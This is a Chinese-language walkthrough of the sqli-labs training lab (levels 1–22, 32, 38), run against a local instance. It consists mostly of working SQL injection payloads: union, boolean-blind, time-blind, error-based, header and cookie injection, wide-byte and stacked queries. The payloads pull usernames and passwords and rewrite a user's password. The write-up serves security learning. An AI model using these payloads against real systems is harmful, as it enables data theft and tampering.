sqli-labs基础篇(1-22)
less-1 字符型
判断是否存在sql注入
?id=1 and 1=1 --+
?id=1' and 1=1 --+
?id=1' and 1=2 --+
说明存在sql注入,并且注入类型为字符型注入
联合注入
先判断列数
?id=1' order by 3 --+
有回显
?id=1' order by 4 --+
报错
说明列数为3
判断回显位置
?id=-1' union select 1,2,3 --+
回显位为2,3
获取数据库名和版本号
?id=-1' union select 1,database(),version() --+
爆表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
爆数据
?id=-1'union select 1,group_concat(username),group_concat(password) from users--+
less-2 数值型
判断注入类型
?id=1 and 1=1 --+
?id=1 and 1=2 --+
当1=2时,无回显,说明数值型注入
less-3
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
判断显位:
接下来就是常规操作,爆数据了,省略:
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
less-4
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
?id=1") and 1=1 --+
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
less-5 布尔盲注或报错注入
url:
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'
页面报错显示:
因为单引号不匹配,则会报错。如果能引起数据库的报错,说明用户是可以对查询语句进行修改的,说明存在漏洞。
注意:忘记说了,像这种报错信息,都是可以使用报错注入的,想前几关也都是可以使用报错注入的,这关主要考察布尔盲注(注意能使用报错注入就使用,因为报错注入不需要一个一个猜解字段)
布尔盲注:
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
判断注入类型
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and 1=2 --+
无回显
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and 1=1 --+
有回显
说明这里存在字符型注入
下面是使用报错注入的方法:
获取数据库名
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1) --+
传入到数据库中的语句是:
select * from users where id='1' and updatexml(1,concat(0x7e,database(),0x7e),1)#'
报错回显结果:
思考一下,为什么要这么构造攻击语句?首先回到语法格式上:updatexml((XML_document,XPath_string, new_value)
,我们必须在XPath_string
这个参数里填充xpath格式的字符串,但是如果我们填充一个不是xpath格式的字符串,就会产生报错,所以语句就变成了updatexml(1,database(),1)
,
前后两个1是随便填充的内容,目的是满足三个参数。但是由于xpath只会对特殊字符进行报错,
这里我们可以用~,16进制的0x7e
来进行利用,所以就变成了updatexml(1,0x7edataase()0x7e,1),
但是由于数据库无法认识中间的内容,所以就无法成功执行,所以可以用concat()函数把多个字符串合并成一个,
就变成了updatexml(1,concat(0x7e,database(),0x7e),1)
注意:CONCAT()
是 MySQL 中的一个字符串函数,用于将多个字符串值连接成一个字符串。这个函数可以接受两个或多个参数,并将它们按顺序连接起来,返回一个单一的字符串结果。如果CONCAT函数里面参数是列名的话,就回去查询这个列的值,不是则不查。
获取数据库表名
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
思考:为什么中间的查询语句外面要括号括起来?
因为concat()
,中间不允许有空格,所以需要括号括起来把它变
成一个整体。
注意:这就是它们的差异:concat()
函数无法将多行合并为一行,所以可以先用group_conat()
函数将多行合并为一行。
下面的是利用报错注入方法:
获取表中的字段
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
获取字段中的记录
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) --+
由于xpath只会报错32个字符,所以可以使用substr()
函数进行字符串截取
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,30),0x7e),1) --+
http://127.0.0.1/sqli-labs-master/Less-5/
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,30),0x7e),1) --+
less-6 布尔盲注或报错注入
这关是需要用双引号括起来
可以使用这种报错注入and updatexml(1,concat(0x7e,database(),0x7e),1) --+
剩下的步骤和第5关差不多,爆表名爆字段。。。
less-7 布尔盲注
第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
less-8 布尔盲注
判断是否存在注入
先判断是字符型还是数字型:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1 and 1=1 %23
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1 and 1=2 %23
页面没有变化:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and 1=1 %23
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and 1=2 %23
当 and 1=2 时,页面没有返回了,说明这是字符型注入
这关使用布尔盲注:
获取数据库长度
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and length(database())=8 %23
经过测试,只有当数据库长度等于8时,页面才有回显,说明数据库长度为8
获取数据名
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and substr(database(),1,1)='s' %23
只有判断正确的时候,才有回显如下,说明第一位是s
:
接下来就算一个一个的进行截取,直到截取了8位为止,人工台费时间了。。。
注意:在获取数据库名的时候注意数据库的命名规则,他是采用26个英文字母(区分大小写)和0-9的自然数(经常不需要)加上下划线''组成,命名简洁明确,多个单词用下划线''分隔。
除了以上方法之外,还可以把要猜解的内容转换为ascii码,然后使
用ascii()
函数,ascii码对照表如下链接:https://tool.oschina.net/co
mmons?type=4
ascii()
把字符转换成ascii码值的函数
比如:
s
的ascii表中十进制为115
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and ascii(substr(database(),1,1))=115%23
主要是为了避免有些人不按照命名规则命名,可以对ascii码值33到126进
行遍历枚举。
获取表的数量:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and (select count(table_name) from information_schema.tables where table_schema="security")=4 %23
经过测试,表的数量为4
获取数据库表名
这行代码用来查询数据库表名,但是会返回多条数据:
select table_name from information_schema.tables where table_schema = 'security';
可以使用limit控制输出的方式,让其一行一行的输出
limit 从第0行开始,后面的参数为要输出多少行
select table_name from information_schema.tables where table_schema = 'security' limit 0,1;
控制limit
后面第一个参数就可以遍历所有表了,这时候之前求得表的数量
就起作用了!
截取表中第一个字符:
select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1);
判断表中第一个字符等于e
select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e';
最后构造url:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e'%23
在这里可以不写具体的数据库名,直接用 database()
替换:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1)='e'%23
如果再使用ascii()
函数进行转换的话,则为
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
然后依次改变substr(string, start, length)
中的start
即可
获取表名长度
为了避免无效的查询,可以先获取表名的长度再获取数据库表具体名字,构造的URL为:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6%23
思考,为什么length
后加了两个括号呢?
因为length()
函数里是只有一个参数的,如果只加一个括号,则
变为了
SELECT * FROM users WHERE id='1' and length(select
table_name from information_schema.tables where
table_schema=database() limit 0,1)=6#'limit 0,1
可以看到上方语句的length()
函数里有个逗号
,MySQL会以为有两个参数,会引起报错,所以只有把它变为一个参数才不会出错。!
获取表中的字段的数量
select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails';
构造url:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2 %23
可知字段数量为2
获取字段名
从字段名第一个字符开始测试
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1)='e'%23
获取字段中记录的长度
前提:已经获取到id的值
select length((select username from users where id =1));
然后就是通过这个id值条件,再获取某个字段值的具体记录长度。
获取字段中的数据
先获取字段的中第一条记录的长度:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and length((select id from emails limit 0,1))=1 %23
可以判断出第一条记录中id的长度为1
获取字段id的第一个记录
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and ascii(substr((select id from emails limit 0,1),1,1))=49 %23
获取id记录的总条数 ,知道总记录数,才好继续去才后面几条的数据:
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1' and (select count(id) from emails)=8 %23
下面是这种方法,我不太建议这么去写。。。我认为使用limit更方便!
获取字段id的第一个记录
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and ascii(substr((select group_concat(id) from emails),1,1))=49%23
select id from emails limit 0,1;
获取字段id的第二个记录
http://127.0.0.1/sqli-labs-master/Less-8/
?id=1'and ascii(substr((select group_concat(id) from emails),2,1))=44%23
之所以ascii等于44(逗号的ascii码为44),是因为使用group_concat函数合并为一行的时候变成了如下:
less-9 时间盲注
判断是否注入
尝试之前布尔盲注试试:
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and 1=2 %23
再次尝试
无论输入什么,都没有任何反应,这种情况下,只能使用时间盲注
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if(1=1,sleep(5),1) %23
页面明显休眠了几秒,判断为字符型注入,并且可用时间盲注
获取数据库长度
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if(length(database())=8,sleep(5),1) %23
页面休眠了5秒才显示:
可知数据库长度为8
获取数据库名
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if(substr(database(),1,1)='s',sleep(5),1) %23
也可以用ascii()
函数来判断
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) %23
获取数据表
获取数据表的数量
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if((select count(table_name) from information_schema.tables where table_schema = 'security')=4,sleep(5),1) %23
获取表名长度:
通过控制输出的方式,一个一个地获取表名的长度,获取第一个表的长度
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1)%23
less-10 时间盲注
第十关和第九关一样只需要将单引号换成双引号
less-11 '联合注入
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片
当我们输入1',出现报错信息。根据报错信息可以推断该sql语句username='参数' and password='参数'
这关需要使用or
和#
,--+
注释符失效了 ,因为构造语句不同,不用使用and
,需要使用 or
。
猜列数
测显位:
爆数据库和版本号:
剩下来的操作就和第一关一致了,使用联合注入就行了.
less-12 ") 联合注入
当我输入:1"
报错如下:说明需要再加一个括号
输入:1") or 1=1 #
接下来的操作跟上一关一致。。。
less-13 ') 布尔盲注
输入1'
报错:看报错提示可知,还需加一个括号
输入:1') or 1=1 #
这关要用布尔注入,与上关不同,并且这关使用or
和#
less-14 "布尔盲注
输入1"
报错页面:
输入:1" or 1=1 #
可以正常显示
判断数据库长度
接下来就是常规的布尔注入了。。。
less-15 '时间或布尔盲注
与前面几个关卡有所不同,在我输入一些错误的符号,页面不会打印出报错信息,仅仅只有登录成功和失败2个页面返回,所以这里需要自己手动去探测。
方法一:
当我探测不到任何结果时,我想到了可以使用时间盲注来解决这关
方法二就是使用布尔盲注:
最终当输入1' or 1=1#
页面正常显示
当输入1' or 1=2#
页面提示失败
说明存在字符型注入,这关使用单引号 闭合就行了,
所以这关可以使用布尔盲注和时间盲注
less-16 ")时间或布尔盲注
这关也是,不会返回任何报错信息,经过自己手工探测,sqli靶场无非就是哪几种闭合
当输入1") or 1=1 #
返回成功页面
输入:1") or 1=2 #
返回失败页面
接下来常规使用布尔注入或者时间盲注
less-17 报错注入和时间盲注
毫无头绪。。。
当我输入如下时,发现数据库报错:
可以看到 admin’’ 说明在对密码的处理过程中使用的是 ‘’ 。
接下来利用盲注进行注入。
这里首先演示一下报错类型的盲注。
1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
当然了,也可以用延时注入,也可以看到时间的延迟的明显效果
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
提问:在看源代码的时候,先进行一次 select 语句,那为什么我们不从 username
处进行构造呢?
其实我们可以在源代码中看到一个函数。check_input()
函数。
★ addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
- 提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
- 注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
★ stripslashes()
函数删除由 addslashes()
函数添加的反斜杠。
★ mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
所以在我们 less17 的 check_input()
中,对 username
进行各种转义的处理,所以此处不能使用username
进行注入
下面是使用extractvalue报错注入代码,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。
less-18 UA头注入
这关直接无从下手,只能看源码了,通过源码可以看见,这里对账号密码都进行了过滤,所以这里不能通过账号密码来进行注入了:
接着往代码下面看,有一个插入语句,没用进行任何过滤,在注入的前提是,必须输入正确的账号密码,才能进行下一步的注入,要不然判断为空,就不会进行下一步了,源码如下:
先输入登录正确的账号密码,响应如下:
可以在图上看见多了一条显示user agent
这段:
可以初步判断这里存在注入,抓包修改一下ua头加一个'
,响应:
报错:
当我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
可以使用报错注入来试一下:
爆出数据名:
1',2,updatexml(1,concat(0x7e,database(),0x7e),1))#
1',2,extractvalue(1,concat(0x7e,database(),0x7e)))#
less-19 referer注入
当输入正确的账号密码时,显示了referer字段的值:
跟上一关差不多的套路,不过这次换成了referer字段,根据报错提示,注入代码如下:
1',updatexml(1,concat(0x7e,database(),0x7e),1))#
less-20 cookie注入
第二十关当我们输入正确页面时候cookie字段显示在页面上,进行抓包。进行注入
这关需要抓取第二个get数据包
1'and updatexml (1,concat(0x7e,(select database()),0x7e),1)#
less-21 cookie注入
对第二个GET数据包抓包如下:
我当时没注意,这个cookie值其实是base64编码的,我们可以base64编码一个'
看看报错,'
号的base64编码为: Jw==
页面回显如下:
根据报错所示,需要')
来闭合,这题也是报错注入
构造注入语句,爆出数据名:
1')and updatexml(1,concat(0x7e,database(),0x7e),1) #
对注入语句进行base64编码:
MScpYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgIw==
成功显示出报错结果:
less-22 cookie注入
对"
进行base64编码,报错如下:
可以猜测出使用"
闭合,构造注入语句:
1"and updatexml(1,concat(0x7e,database(),0x7e),1)#
编码后:
MSJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSM=
结果如下:
less-32 宽字节注入
这里是宽字节注入,需要使用%df
http://127.0.0.1/sqli-labs-master/Less-32/
?id=-1%df' union select 1,database(),3 %23
注意这里id=-1 开头
less-38 堆叠注入
- 经过以下payload测试,发现本关为字符型,闭合方式为单引号
?id=1
?id=1asdf
?id=1asdf'
经过测试存在union
联合注入,使用联合注入爆破出users
表中有id
、username
、password
三个字段,于是尝试堆叠注入将id
为1
的用户密码改成123
,可以配合联合查询来判断sql
是否执行
?id=1';update users set password = 123 where id=1 %23
执行之后
然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!